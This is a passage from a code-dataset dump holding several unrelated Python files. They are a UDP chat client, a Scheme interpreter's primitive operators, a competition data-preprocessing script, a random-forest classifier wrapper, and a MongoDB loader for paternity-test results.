models.IntegerField()\n","repo_name":"zpillman/django-inventory-project","sub_path":"inventory/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"16125909275","text":"'''\nchat room 客户端\n'''\n\nfrom socket import *\nimport os,sys\n\n#服务端地址,客户端yiidng会��收服务端地址\nADDR = ('127.0.0.1',8888)\n\n#发消息的函数\ndef send_msg(s,name):\n while True:\n #捕获掉用户如果按ctrl+c的异常\n try:\n text = input('>>')\n except (KeyboardInterrupt,SyntaxError):\n text = 'quit'\n #退出的情况\n if text.strip() == 'quit':\n msg = 'Q' + name\n s.sendto(msg.encode(),ADDR)\n sys.exit('退出聊天室') #进程退出,打印出:退出聊天室\n\n msg = 'C %s %s'%(name,text)\n s.sendto(msg.encode(),ADDR)\n\n#接收消息\ndef recv_msg(s):\n while True:\n data,addr = s.recvfrom(4096)\n #发送消息的进程退出(表明用户要退出),接收消息的进程也得跟着退出\n if data.decode() == 'EXIT':\n sys.exit()\n print(data.decode()+'\\n>>',end='') #\\n>>表示换行打印出光标\n\n\n#搭建网络\ndef main():\n s = socket(AF_INET,SOCK_DGRAM)\n\n #进入聊天室\n while True:\n name = input('请输入昵称:')\n msg = 'L ' + name #通信协议与服务端确定好\n s.sendto(msg.encode(),ADDR)\n #接收反馈\n data,addr = s.recvfrom(128)\n # 登录成功,服务端会返回OK\n if data == b'OK':\n print('您已进入聊天室')\n break\n #登录失败,重新输入用户名\n else:\n print(data.decode())\n\n #已经进入聊天室,创建一个进程收消息,一个进程发消息,避免消息堵塞\n pid = os.fork()\n if pid < 0:\n sys.exit('Error!')\n elif pid == 0:\n send_msg(s,name)\n else:\n recv_msg(s)\n\n\n\n\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n\n","repo_name":"codefish-yu/socket-chatroom","sub_path":"chat_client.py","file_name":"chat_client.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"2386072542","text":"\"\"\"\nCreated on Sun Dec 28 20:16:29 2014\n\n@author: aashishsatya\n\nDescription: Script that handles primitive procedures\n\n\"\"\"\n\n# Classifier.py finds the type of Scheme expression \n# that was given as input\nfrom Classifier import *\n# selectors for the given Scheme expression\nfrom Selectors import *\n\nprimitive_operators = ['+', '-', '*', '/', '=', '<', '>', '<=', '>=',\n 'and', 'or', 'not', 'eq?', 'equal?']\n \nprimitive_list_operators = ['cons', 'car', 'cdr', 'null?', 'list?', 'list',\n 'append']\n\ndef make_list(arguments):\n return arguments\n \ndef convert_to_scheme_expression(val):\n \n \"\"\"\n Prints Python expression val as an expression in Scheme\n \"\"\"\n \n # some code taken from Peter Norvig's implementation of the same\n # thanks Mr. Norvig\n # list_repn stands for list representation\n if type(val) == list:\n list_repn = '(' + ' '.join(map(convert_to_scheme_expression, val)) + ')'\n return list_repn\n\n elif str(val) == 'True':\n return '#t'\n elif str(val) == 'False':\n return '#f'\n else:\n return str(val)\n \ndef is_shortened_list_operation(operation_name):\n \n \"\"\"\n Checks if an operation is a shortened list operation such as caar, cadddr\n etc.\n Input: A string\n Output: True or False depending on whether the operation is a shortened\n list operation\n \"\"\"\n \n if operation_name[0] != 'c' or operation_name[-1] != 'r':\n return False\n \n for character in operation_name[1:-1]:\n if character != 'a' and character != 'd':\n return False\n \n return True\n \ndef expand_list_operation(list_op, args):\n \n \"\"\"\n Converts a shortened list operation to its expanded form.\n This is done because the program can only work on expanded forms of\n list operations.\n Input: A list operation in its short form and the arguments\n Output: Expanded form of the list operation along with the arguments.\n \"\"\"\n \n # args[0] because internal representation will be of the form\n # [[, , ...]] <= notice the double parens\n args = args[0]\n for index in range(len(list_op) - 2, 0, -1):\n if list_op[index] == 'a':\n args = ['car', args]\n elif list_op[index] == 'd':\n args = ['cdr', args]\n \n return args \n\ndef raise_argument_error(function_name, error_type, error_arg):\n \n \"\"\"\n Raises an error of type error_type with error_arg as the object\n being printed as responsible for the error.\n \"\"\"\n \n raise error_type('The object ' + convert_to_scheme_expression(error_arg) + ', passed as an argument to ' + function_name + ', is not the correct type.')\n \ndef raise_argument_count_error(correct_number, error_number, procedure_name):\n \n \"\"\"\n Raises an error of type TypeError with a message containing the \n input number and the required number of arguments.\n \"\"\"\n \n if type(procedure_name) == str:\n raise TypeError('The procedure ' + procedure_name + ' has been called with ' + str(error_number) + ' argument(s); it requires exactly ' + str(correct_number) + ' argument(s).')\n # in case lambdas are being directly used (then they don't have a name)\n raise TypeError('The procedure has been called with ' + str(error_number) + ' argument(s); it requires exactly ' + str(correct_number) + ' argument(s).') \n\ndef apply_list_procedure(list_operation, args):\n \n \"\"\"\n Applies list operations to given arguments\n \"\"\"\n \n if list_operation == 'cons':\n if len(args) != 2:\n raise_argument_count_error(2, len(args), 'cons')\n if not type(args[1]) == list:\n raise_argument_error(list_operation, TypeError, convert_to_scheme_expression(args[1]))\n return make_list([args[0]] + args[1])\n \n elif list_operation == 'append':\n if not type(args[0]) == list:\n raise_argument_error(list_operation, ValueError, convert_to_scheme_expression(args[0]))\n if not type(args[1]) == list:\n raise_argument_error(list_operation, ValueError, convert_to_scheme_expression(args[0]))\n appended_lists = []\n for arg in args:\n appended_lists += arg\n return appended_lists\n \n elif list_operation == 'list':\n return args\n \n if len(args) != 1:\n raise_argument_count_error(1, len(args), list_operation)\n \n if list_operation == 'list?':\n return type(args[0]) == list\n \n if type(args[0]) != list:\n raise_argument_error(list_operation, ValueError, convert_to_scheme_expression(args[0]))\n \n if list_operation == 'car':\n # []\n # extra parens because of the [1:] from get_arguments() earlier in PyScheme.py\n # same goes for cdr and null? as well\n if args[0] == []:\n raise_argument_error(list_operation, ValueError, convert_to_scheme_expression(args[0]))\n return args[0][0]\n \n elif list_operation == 'cdr':\n if args[0] == []:\n raise_argument_error(list_operation, ValueError, convert_to_scheme_expression(args[0]))\n return args[0][1:]\n \n elif list_operation == 'null?':\n return args[0] == [] \n \n\ndef apply_arithmetic_operator(op, arguments):\n \n \"\"\"\n Applies an arithmetic operator (+, -, /, *) to the arguments.\n Input: An operator type and arguments\n Output: Value after applying operator op to its arguments.\n \"\"\"\n \n running_value = op(arguments[0], arguments[1])\n \n if len(arguments) == 2:\n return running_value\n \n # has more than two arguments, so process them\n remaining_arguments = arguments[2:]\n for argument in remaining_arguments:\n running_value = op(running_value, argument) \n \n return running_value\n \ndef apply_logic_operator(op, arguments):\n \n \"\"\"\n Applies a logic operator (>, <, == etc.) to the arguments\n Input: An operator and arguments\n Output: A True or False boolean value after applying op to its arguments\n \"\"\"\n \n running_value = op(arguments[0], arguments[1])\n \n if len(arguments) == 2:\n return running_value\n \n index = 2\n while running_value and index < len(arguments):\n running_value = running_value and op(arguments[index - 1], arguments[index])\n index += 1\n \n return running_value\n \ndef apply_operators(op, arguments):\n \n # op stands for the operator given as string\n \n \"\"\"\n Applies operator to given arguments (may be more than two; see below)\n \"\"\"\n \n import operator\n \n # checking error in arguments\n for arg in arguments:\n if arg not in (True, False) and op in ('and', 'or', 'not'):\n raise_argument_error(op, TypeError, arg)\n if type(arg) != int and op == 'modulo':\n raise_argument_error(op, TypeError, arg)\n if op not in ('eq?', 'and', 'or', 'not', 'modulo', 'equal?') and type(arg) not in (int, float):\n raise_argument_error(op, TypeError, arg)\n \n if op in ('modulo', 'eq?', 'equal?') and len(arguments) != 2:\n raise_argument_count_error(2, len(arguments), op)\n \n \n if op == 'and':\n current_op = operator.and_\n elif op == 'or':\n current_op = operator.or_\n elif op == 'not':\n if len(arguments) != 1:\n raise_argument_count_error(1, len(arguments), 'not')\n return operator.not_(arguments[0])\n elif op == 'modulo': \n return operator.mod(arguments[0], arguments[1])\n elif op == 'eq?':\n if type(arguments[0]) == str and type(arguments[1]) == str:\n return arguments[0] == arguments[1]\n else:\n return id(arguments[0]) == id(arguments[1])\n elif op == 'equal?':\n if type(arguments[0]) in (int, float) and type(arguments[1]) in (int, float): \n if type(arguments[1]) != type(arguments[0]):\n return False\n else:\n return arguments[0] == arguments[1]\n return str(arguments[0]) == str(arguments[1])\n \n # find the type of the operator\n if op == '+':\n current_op = operator.add\n elif op == '-':\n current_op = operator.sub\n elif op == '*':\n current_op = operator.mul\n elif op == '/':\n current_op = operator.div\n elif op == '=':\n current_op = operator.eq\n elif op == '<':\n current_op = operator.lt\n elif op == '>':\n current_op = operator.gt\n elif op == '<=':\n current_op = operator.le\n elif op == '>=':\n current_op = operator.ge\n \n if op in ['+', '-', '*', '/']:\n return apply_arithmetic_operator(current_op, arguments)\n \n return apply_logic_operator(current_op, arguments)\n ","repo_name":"aashishsatya/PyScheme","sub_path":"PrimitiveProcedures.py","file_name":"PrimitiveProcedures.py","file_ext":"py","file_size_in_byte":8892,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"74098004108","text":"#coding:utf8\nimport time\nimport pandas as pd\nimport lightgbm as lgb\nfrom sklearn.metrics import log_loss\nimport matplotlib.pyplot as plt\nimport warnings\n\n\n#将unix时间戳value改为指定的format格式\ndef timestamp_datetime(value):\n format = '%Y-%m-%d %H:%M:%S'\n value = time.localtime(value)\n dt = time.strftime(format, value)\n return dt\n\n#数据预处理\ndef convert_data(data):\n #将data里面的'context_timestamp'列属性换算成2018-09-09 13:59:59格式\n data['time'] = data.context_timestamp.apply(timestamp_datetime)\n #截取2018-09-09 13:59:59格式对应位置的数值\n data['day'] = data.time.apply(lambda x: int(x[8:10]))\n data['hour'] = data.time.apply(lambda x: int(x[11:13]))\n data['minute'] = data.time.apply(lambda x: int(x[14:16]))\n data['second'] = data.time.apply(lambda x: int(x[17:]))\n #不同user_id有197693条\n #groupby()方法能总结出不重复的按指定columns分组的记录,此处意为某用户在某一天的数据,共229465条\n #.size()方法能总结出groupby之后,数据出现的次数,也就是某用户在某一天浏览(或购买)过的商品次数\n #.reset_index()方法能给groupby.size之后的df重新设置索引,从零开始\n #.rename方法将size()方法生成的列标签\"0\"改为user_query_day\n user_query_day = data.groupby(['user_id', 'day']).size(\n ).reset_index().rename(columns={0: 'user_query_day'})\n\n #merge介绍url\n #https://blog.csdn.net/weixin_37226516/article/details/64137043\n #‘left’只的是以data里面的columns为基准对齐\n data = pd.merge(data, user_query_day, 'left', on=['user_id', 'day'])\n user_query_day_hour = data.groupby(['user_id', 'day', 'hour']).size().reset_index().rename(\n columns={0: 'user_query_day_hour'})\n data = pd.merge(data, user_query_day_hour, 'left',\n on=['user_id', 'day', 'hour'])\n\n return data\n\n\nif __name__ == \"__main__\":\n #忽略警告\n warnings.filterwarnings(\"ignore\")\n online = False# 这里用来标记是 线下验证 还是 在线提交\n\n data = pd.read_csv('round1_ijcai_18_train_20180301.txt', sep=' ')\n data.drop_duplicates(inplace=True)\n data['item_category_list'] = data['item_category_list'].map(lambda x: int(str(x).split(';')[1]))\n #data = convert_data(data)\n item_category_list_index_time=[]\n\n #sort已弃用,要用sort_index或者sort_values\n #data = data[['user_id','item_category_list','time','is_trade']]\n data.sort_values(by=['user_id','item_category_list','context_timestamp'], ascending=[0, 1,2], inplace=True)\n #data=data.reset_index()\n #print(data.reset_index())\n data = data.reset_index(drop=True)\n\n # print(data.user_id[0])\n index_user=1\n index_item=1\n new_ss=[]\n\n for row in data.iterrows():\n if (row[1]['user_id']==index_user) and (row[1]['item_category_list']==index_item):\n continue\n else:\n index_user=row[1]['user_id']\n index_item=row[1]['item_category_list']\n s= data[(data.user_id==row[1]['user_id']) &(data.item_category_list==row[1]['item_category_list'])]\n if len(s)==1:\n new_ss.append(1)\n else:\n for new_s in range((len(s)-1)):\n new_ss.append(2)\n new_ss.append(3)\n # print(new_ss)\n\n data=pd.concat([data,pd.DataFrame({'item_sees':new_ss})],axis=1)\n data.to_csv('2new_data.csv',index=False,sep=' ')\n print(data)\n\n\n\n","repo_name":"zhmi1204/alimama","sub_path":"submited_plan/user_sorted_by_frequency_of_item_id_1_2_3.py","file_name":"user_sorted_by_frequency_of_item_id_1_2_3.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"31626695333","text":"import numpy as np\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.utils.validation import check_X_y, check_array, check_is_fitted\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import f1_score\n\n\nclass RandomForestPredictor(RandomForestClassifier, TransformerMixin):\n \"\"\"\n Classification with randomized decision trees\n \"\"\"\n def __init__(self, n_estimators=20, n_jobs=4,\n class_weight='balanced_subsample', debug=False):\n self.debug = debug\n super(RandomForestPredictor, self).__init__(\n n_estimators=n_estimators, n_jobs=n_jobs, class_weight=class_weight)\n\n def fit(self, X, y):\n X, y = check_X_y(X, y, multi_output=True)\n super(RandomForestPredictor, self).fit(X, y)\n if self.debug:\n print(\"Fitting {} samples:\".format(X.shape[0]))\n print(\"\\t- feature importance: {}\".format(self.feature_importances_))\n return self\n\n def predict(self, X):\n check_is_fitted(self, [\"estimators_\"])\n X = check_array(X)\n prediction = super(RandomForestPredictor, self).predict(X)\n if self.debug:\n print(\"Predicting {} samples\".format(X.shape[0]))\n return prediction.astype(int)\n\n def score(self, X, y):\n prediction = self.predict(X)\n score = f1_score(prediction, y, average='micro')\n if self.debug:\n print(\"Score for {} samples: {}\".format(X.shape[0], score))\n return score\n","repo_name":"puttak/ETH-ml-project","sub_path":"ml_project/models/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"40582364305","text":"# -*- coding: utf-8 -*-\n# __author__ = 'moli.zhou'\nimport datetime\nimport random\nfrom biocluster.api.database.base import Base, report_check\nimport re\nfrom biocluster.config import Config\nfrom pymongo import MongoClient\nimport gridfs\nfrom mainapp.libs.param_pack import param_pack\nfrom bson import ObjectId\n\n\nclass SgPaternityTest(Base):\n '''\n 将亲子鉴定的结果内容存入数据库中\n '''\n def __init__(self, bind_object):\n super(SgPaternityTest, self).__init__(bind_object)\n # self.mongo_client = Config().mongo_client\n # self.database = self.mongo_client[Config().MONGODB+'_paternity_test']\n # self.mongo_client_ref = Config().biodb_mongo_client\n # self.database_ref = self.mongo_client_ref['sanger_paternity_test_ref'] # 正式机的参考库\n self._project_type = \"pt\"\n\n @report_check\n def add_sg_father(self,dad,mom,preg,batch_id,member_id,type=None):\n '''\n 添加father主表,一个批次有多少个样本就有多少个主表\n :param dad:父本id\n :param mom:母本id\n :param preg:胎儿id\n :param batch_id:批次表的_id\n :param member_id:前端传入的用户id\n :return:返回值为主表的_id\n '''\n temp_d = re.search(\"WQ([0-9]*)-F.*\", dad)\n temp_m = re.search(\".*-(M.*)\", mom)\n temp_s = re.search(\".*-(S.*)\", preg)\n if type == 'free': # 自由交互的主表需要完整记录样本名\n name = 'check_' + dad + '_' + mom + '_' + preg\n else:\n name = dad + \"-\" + temp_m.group(1) + \"-\" + temp_s.group(1)\n # 信息增加modify by zhouxuan 20170705\n\n pt_collection = self.db[\"sg_pt_customer\"]\n # -T 表示重上机信息不变 # modify by zhouxuan 20170728\n # 根据现在的样本名绑定家系信息中的name方便查找家系信息\n if temp_d and temp_m and temp_s:\n if re.match('(.*-T)([0-9])', dad):\n dad_ = ('-').join(dad.split('-')[:-1])\n else:\n dad_ = dad\n if re.match('(.*-T)([0-9])', mom):\n mom_ = ('-').join(mom.split('-')[:-1])\n temp_m_ = re.search(\".*-(M.*)\", mom_)\n else:\n temp_m_ = temp_m\n message_id = dad_ + \"-\" + temp_m_.group(1) # 只有父本和母本的名字\n else:\n message_id = 'free_WQ'\n # 对于自由组合而言,只有正确的家系生成的message_id才会有用\n\n result = pt_collection.find_one({\"name\": message_id}) # 自由组合可能没有这个\n if result:\n report_status = result['report_status']\n accept = result['accept_time']\n if report_status == '是':\n report_status = '1'\n else:\n report_status = '0'\n time = accept.split('-')\n accept_time = datetime.datetime(int(time[0]), int(time[1]), int(time[2]), 0, 0)\n report_time = accept_time + datetime.timedelta(days=5)\n else: # 当自由组合找不到的时候,\n report_status = '0'\n report_time = datetime.datetime.now()\n self.bind_object.logger.info('该家系信息不全,请查看:{}'.format(message_id))\n # 这边不需要raise 可以忍受有错误,一方面前面已经判断过一次了,所以不用再次进行判断,另一方面自由组合不需要一定符合家系信息\n if len(str(report_time.month)) == 1:\n ti = str(report_time.year) + '0' + str(report_time.month)\n else:\n ti = str(report_time.year) + str(report_time.month)\n if len(str(report_time.day)) == 1:\n ti = ti + '0' + str(report_time.day)\n else:\n ti += str(report_time.day)\n insert_data = {\n \"dad_id\": dad,\n \"mom_id\": mom,\n \"preg_id\": preg,\n \"family_id\": temp_d.group(1),\n \"name\": name,\n \"created_ts\": datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"batch_id\": ObjectId(batch_id),\n \"member_id\": member_id,\n \"message_id\": message_id,\n \"report_time\": ti,\n \"report_status\": report_status,\n }\n try:\n collection = self.db['sg_father']\n father_id = collection.insert_one(insert_data).inserted_id\n except Exception as e:\n self.bind_object.logger.error('导入家系主表出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入家系主表成功\")\n return father_id\n\n def add_father_result(self,father_id,pt_father_id, dad_id):\n '''\n 将最终的分析匹配结果和交互表id添加到主表当中去,方便网页展示时取数据以及筛选数据\n :param father_id:father主表的_id\n :param pt_father_id:pt_father交互表的_id\n :param dad_id:父本id\n '''\n self.bind_object.logger.info(\"father主表更新1\")\n collection_result = self.db['sg_pt_father_analysis']\n collection = self.db['sg_father']\n # case = collection.find_one({\"_id\":father_id})\n # dad_id = case['dad_id']\n if collection_result.find_one({'dad_id':dad_id}):\n self.bind_object.logger.info(\"dad_id存在\")\n result_case = collection_result.find_one({'pt_father_id':pt_father_id, \"dad_id\":dad_id})\n else:\n result_case = collection_result.find_one({'pt_father_id': pt_father_id, \"dad_id\": 'NA'})\n self.bind_object.logger.info(\"dad_id为NA\")\n result = result_case['result']\n\n try:\n collection.update({\"_id\": father_id}, {'$set': {\"pt_father_id\": pt_father_id,'result':result}}, multi=True)\n except Exception as e:\n self.bind_object.logger.error('更新father主表结果出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"更新father主表结果成功\")\n\n def update_infoshow(self, pt_father_id,mom,preg):\n '''\n 如果分析结果有问题,如样本深度不够等等。即在结果表中标记qc字段为不合格\n '''\n collection_result = self.db['sg_pt_father_result_info']\n insert={\n \"pt_father_id\":pt_father_id,\n \"qc\":\"unqualified\",\n \"mom_id\":mom,\n \"preg_id\":preg\n }\n\n try:\n collection_result.insert_one(insert)\n except Exception as e:\n self.bind_object.logger.error('更新有问题的母子信息表出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"更新有问题的母子信息表成功\")\n\n def add_father_qc(self, father_id, pt_father_id):\n '''\n 将分析出的样本qc值加入到主表中,方便页面展示\n '''\n collection_result = self.db['sg_pt_father_result_info']\n collection = self.db['sg_father']\n\n result_case = collection_result.find_one({'pt_father_id': pt_father_id})\n qc = result_case['qc']\n\n try:\n collection.update({\"_id\": father_id}, {'$set': {'qc': qc}}, multi=True)\n except Exception as e:\n self.bind_object.logger.error('更新father主表家系质控出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"更新father主表家系质控成功\")\n\n def update_sg_pt_father(self, pt_father_id):\n '''\n 流程结束时更新交互主表的状态\n\n '''\n try:\n collection = self.db['sg_pt_father']\n # collection.update({\"_id\": pt_father_id}, {'$set': {\"status\": \"end\"}})\n collection.update({\"_id\": pt_father_id}, {'$set': {\"status\": \"end\"}}, multi=True)\n except Exception as e:\n self.bind_object.logger.error('更新pt_father主表状态出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"更新pt_father主表状态成功\")\n\n\n\n # \"status\": \"end\",\n # @report_check\n def add_pt_father(self, father_id, err_min, dedup):\n '''\n 增加交互主表。第一次运行时自动添加一个(即主表生成时,交互主表也生成)。后在交互页面投递任务时,\n 每一个任务对应一个交互主表。每一个主表可能对应不同的交互主表(视交互次数而定,但至少对应一个)\n '''\n params = dict()\n params['err_min'] = err_min\n params['dedup'] = dedup\n name = 'err-' + str(err_min) + '_dedup-'+ str(dedup)\n insert_data = {\n \"father_id\": father_id,\n \"name\": name,\n \"status\": \"start\"\n }\n\n collection = self.db['sg_pt_father']\n new_params = param_pack(params)\n insert_data[\"params\"] = new_params\n # collection.insert_data[\"params\"] = params\n try:\n pt_father_id = collection.insert_one(insert_data).inserted_id\n # collection.insert_one(insert_data)\n except Exception as e:\n self.bind_object.logger.error('导入交互主表出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入交互主表成功\")\n return pt_father_id\n\n @report_check\n def add_sg_ref_file(self,father_id, ref_fasta,targets_bedfile,ref_point,fastq_path):\n '''\n 参考文件的记录\n\n '''\n insert_data={\n \"father_id\": father_id,\n \"ref_fasta\": ref_fasta,\n \"targets_bedfile\": targets_bedfile,\n \"ref_point\": ref_point,\n \"fastq_path\":fastq_path,\n }\n try:\n collection = self.db['sg_pt_ref_file']\n collection.insert_one(insert_data)\n # collection.insert_one(insert_data)\n except Exception as e:\n self.bind_object.logger.error('导入参考文件表出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入参考文件表成功\")\n\n @report_check\n def add_sg_pt_father_detail(self,file_path,pt_father_id):\n '''\n 调试表的导入\n '''\n sg_pt_family_detail = list()\n with open(file_path, 'r') as f:\n for line in f:\n line = line.strip()\n line = line.split('\\t')\n if line[0] == \"chrom\":\n continue\n # if line[44] == 'Mis':\n # Mis = '错配'\n # else:\n # Mis = '-'\n if line[8] == 'NA':\n dad_rf = 'NA'\n else:\n dad_rf = round(float(line[8]),8)\n if line[17] == 'NA':\n preg_rf = 'NA'\n else:\n preg_rf = round(float(line[17]),8)\n if line[26] == 'NA':\n mom_rf = 'NA'\n else:\n mom_rf = round(float(line[26]),8)\n\n insert_data = {\n # \"task_id\": self.bind_object.id,\n \"pt_father_id\": pt_father_id,\n \"chrom\": line[0],\n \"pos\":line[1],\n \"dad_id\": line[2],\n \"dad_ref\": line[3],\n \"dad_alt\": line[4],\n \"dad_dp\": line[5],\n \"dad_ref_dp\": line[6],\n \"dad_alt_dp\": line[7],\n \"dad_rf\": dad_rf,\n \"dad_geno\": line[9],\n \"dad_geno_bases\": line[10],\n \"preg_id\": line[11],\n \"preg_ref\": line[12],\n \"preg_alt\": line[13],\n \"preg_dp\": line[14],\n \"preg_ref_dp\": line[15],\n \"preg_alt_dp\": line[16],\n \"preg_rf\": preg_rf,\n \"preg_geno\": line[18],\n \"preg_geno_bases\": line[19],\n \"mom_id\": line[20],\n \"mom_ref\": line[21],\n \"mom_alt\": line[22],\n \"mom_dp\": line[23],\n \"mom_ref_dp\": line[24],\n \"mom_alt_dp\": line[25],\n \"mom_rf\": mom_rf,\n \"mom_geno\": line[27],\n \"mom_geno_bases\": line[28],\n \"reg\": line[29],\n \"from\": line[30],\n \"to\": line[31],\n \"rs\": line[32],\n \"hapmap_rf\": line[33],\n \"hapmap_geno\": line[34],\n \"n\": line[35],\n \"mj_ref\": line[36],\n \"pA\": line[37],\n \"pG\": line[38],\n \"pC\": line[39],\n \"pT\": line[40],\n \"mj_dp\": line[41],\n \"mj_gene\": line[42],\n \"is_test\": line[43],\n \"is_mis\": line[44],\n \"mustbe\": line[45],\n \"mustnotbe\": line[46],\n \"good\": line[47],\n \"pi\": line[48]\n }\n sg_pt_family_detail.append(insert_data)\n try:\n collection = self.db['sg_pt_father_detail']\n collection.insert_many(sg_pt_family_detail)\n except Exception as e:\n self.bind_object.logger.error('导入调试页面表格出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入调试页面表格成功\")\n\n @report_check\n def add_pt_father_figure(self, file_dir,pt_father_id):\n '''\n 导入结果图片\n '''\n fs = gridfs.GridFS(self.db)\n family_fig = fs.put(open(file_dir + '_family.png', 'r'))\n figure1 = fs.put(open(file_dir + '_fig1.png', 'r'))\n figure2 = fs.put(open(file_dir + '_fig2.png', 'r'))\n preg_percent = fs.put(open(file_dir + '_preg_percent.png', 'r'))\n update_data = {\n # \"task_id\": self.bind_object.id,\n \"pt_father_id\": pt_father_id,\n 'family_fig': family_fig,\n 'figure1': figure1,\n 'figure2': figure2,\n 'preg_percent': preg_percent\n }\n try:\n collection = self.db['sg_pt_father_figure']\n figure_id = collection.insert_one(update_data).inserted_id\n except Exception as e:\n self.bind_object.logger.error('导入图片表格出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入图片表格成功\")\n return figure_id\n\n @report_check\n def add_analysis_tab(self, file_path,pt_father_id):\n '''\n 结果信息存入表格,包括测试位点数,有效率无效率等等\n '''\n sg_pt_family_detail = list()\n with open(file_path, 'r') as f:\n for line in f:\n line = line.strip()\n line = line.split('\\t')\n if line[0] == \"dad.id\":\n continue\n temp_fp = eval(line[4])\n RCP = temp_fp / (temp_fp + 1)\n if RCP > 0.5:\n rcp_result = \"> 99.99%\"\n else:\n rcp_result = \"< 0.01%\"\n insert_data = {\n # \"task_id\": self.bind_object.id,\n \"pt_father_id\": pt_father_id,\n \"dad_id\": line[0],\n \"test_pos_n\": line[1],\n \"err_pos_n\": line[2],\n \"err_rate\": line[3],\n \"fq\": line[4],\n \"dp\": line[5],\n \"eff_rate\": line[6],\n \"ineff_rate\": line[7],\n \"result\": line[8],\n \"rcp\": rcp_result,\n }\n sg_pt_family_detail.append(insert_data)\n try:\n collection = self.db['sg_pt_father_analysis']\n collection.insert_many(sg_pt_family_detail)\n except Exception as e:\n self.bind_object.logger.error('导入是否匹配表格出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入是否匹配表格成功\")\n\n @report_check\n def add_info_detail(self, file_path,pt_father_id):\n '''\n 基本信息存入数据库,包括母本胎儿是否匹配,胎儿信号比例等等\n '''\n sg_pt_family_detail = list()\n with open(file_path, 'r') as f:\n for line in f:\n line = line.strip()\n line = line.split('\\t')\n if line[0] == \"bed.preg.id\":\n continue\n if line[1] >= 30 and line[0] >= 4 and line[7] >= 95:\n qc = 'qualified'\n else:\n qc = 'unqualified'\n if str(line[7]) == 'NA':\n mom_preg = line[7]\n else:\n if eval(line[7]) >= 95:\n mom_preg = '{} Yes'.format(line[7])\n else:\n mom_preg = '{} No'.format(line[7])\n insert_data = {\n # \"task_id\": self.bind_object.id,\n \"pt_father_id\": pt_father_id,\n \"preg_id\": line[0],\n \"dp_preg\": line[1],\n \"percent\": line[2],\n \"error\": line[3],\n \"s_signal\": line[4],\n \"mom_id\": line[5],\n \"dp_mom\": line[6],\n \"mom_preg\": mom_preg,\n \"qc\": qc\n }\n sg_pt_family_detail.append(insert_data)\n try:\n collection = self.db['sg_pt_father_result_info']\n collection.insert_many(sg_pt_family_detail)\n except Exception as e:\n self.bind_object.logger.error('导入基本信息表格出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入基本信息表格成功\")\n\n # @report_check\n def add_test_pos(self, file_path, pt_father_id):\n '''\n 测试位点信息导入数据库\n '''\n sg_pt_family_detail = list()\n with open(file_path, 'r') as f:\n for line in f:\n line = line.strip()\n line = line.split('\\t')\n if line[0] == \"检测位点编号\":\n continue\n if line[5] == 'Mis':\n Mis = '错配'\n else:\n Mis = '-'\n insert_data = {\n # \"task_id\": self.bind_object.id,\n \"pt_father_id\": pt_father_id,\n \"test_no\": line[0],\n \"chrom\": line[1],\n \"dad_geno\": line[2],\n \"mom_geno\": line[3],\n \"preg_geno\": line[4],\n \"is_mis\": Mis\n }\n sg_pt_family_detail.append(insert_data)\n try:\n collection = self.db['sg_pt_father_test_pos']\n collection.insert_many(sg_pt_family_detail)\n except Exception as e:\n self.bind_object.logger.error('导入位点信息表格出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入位点信息表格成功\")\n\n def has_problem(self,pt_father_id,dad_id):\n '''\n 如果在分析家系时,有样本质检不过关,此时不绘制结果图,匹配结果字段做异常标记\n '''\n collection = self.db['sg_pt_father_analysis']\n if collection.find_one({'dad_id':dad_id}):\n collection.update({\"pt_father_id\":pt_father_id,'dad_id':dad_id},{\"$set\":{\"result\":'MARK'}}, multi=True)\n else:\n collection.update({\"pt_father_id\": pt_father_id, 'dad_id': 'NA'}, {\"$set\": {\"result\": 'MARK'}}, multi=True)\n\n def check_pt_message(self, family_id_, member_id_, type):\n collection = self.db[\"sg_pt_customer\"]\n if type == 'mom':\n m = collection.find_one({\"pt_serial_number\": family_id_, 'mom_id_': member_id_})\n else:\n m = collection.find_one({\"pt_serial_number\": family_id_, 'dad_id_': member_id_})\n if m:\n return 'True'\n else:\n return 'False'\n\n def import_dedup_data(self, file_path, pt_father_id):\n sg_pt_family_detail = list()\n with open(file_path, 'r') as f:\n data = f.readlines()[1:]\n for line in data:\n line = line.strip().split('\\t')\n temp_fp = eval(line[4])\n RCP = float(temp_fp) / (float(temp_fp) + 1)\n if RCP > 0.5:\n rcp_result = \">99.99%\"\n else:\n rcp_result = \"<0.01%\"\n result = self.ref_db['sg_pt_ref_main'].find_one({\"sample_id\": line[0],\n \"storage_time\": {\"$exists\": True}}) # 正式机\n # result = self.database['sg_pt_ref_main'].find_one({\"sample_id\": line[0],\n # \"storage_time\": {\"$exists\": True}}) # 测试机\n if result:\n dad_time = result['storage_time'] # 改样本的入库时间,之前的都没有(在sanger上跑过的才会有)\n else:\n dad_time = ''\n insert_data = {\n \"pt_father_id\": pt_father_id,\n \"dad_id\": line[0],\n \"test_pos_n\": line[1],\n \"err_pos_n\": line[2],\n \"err_rate\": line[3],\n \"fq\": 